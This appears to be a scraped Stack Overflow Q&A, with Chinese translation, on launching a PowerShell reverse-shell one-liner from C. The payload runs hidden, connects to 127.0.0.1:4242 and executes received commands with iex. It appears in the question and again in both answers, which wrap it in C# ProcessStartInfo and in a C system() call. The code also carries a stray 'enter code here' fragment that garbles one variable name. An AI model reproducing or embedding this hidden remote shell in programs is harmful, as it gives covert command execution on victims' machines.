【问题标题】:How do i run this one liner powershell reverse shell using C Language我如何使用 C 语言运行这一内衬 powershell 反向 shell
【发布时间】:2021-03-24 07:39:47
【问题描述】:

我尝试使用执行系统命令,但是当我通过 powershell 进入 system(""); 时,C 不理解

powershell 反向shell:

 powershell -W Hidden -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$send`enter code here`back2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"

当我使用 subprocess 模块将此 rev shell 用于 python 时,当我指定此 subprocess.call(''' ''') 时它工作正常@

帮助我在 C 中使用这个 rev shell:

【问题讨论】:

    标签: python c powershell


    【解决方案1】:

    我不是 100% 确定,但不久前我在从 C# 执行 powershellscript 时遇到了类似的问题。也许类似的东西也适用于c。 C#代码:

    var startInfo = new ProcessStartInfo()
        {
            FileName = "powershell.exe",
            Arguments = $"-W Hidden -nop -c "$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$send`enter code here`back2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"",
            UseShellExecute = false
        };
        Process.Start(startInfo);
    

    【讨论】:

      【解决方案2】:

      盲目地过去e powershell 到system(""); 是不够的 - 你必须用\ 屏蔽每个嵌入的":

      system("powershell -W Hidden -nop -c \"$client = New-Object System.Net.Sockets.TCPClient('127.0.0.1',4242);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$send`enter code here`back2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()\"");
      

      您应该查看该命令 - 您可能不希望其中包含 enter code here。

      【讨论】:

        猜你喜欢
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 1970-01-01
        • 2022-01-10
        • 1970-01-01
        • 1970-01-01
        相关资源
        最近更新 更多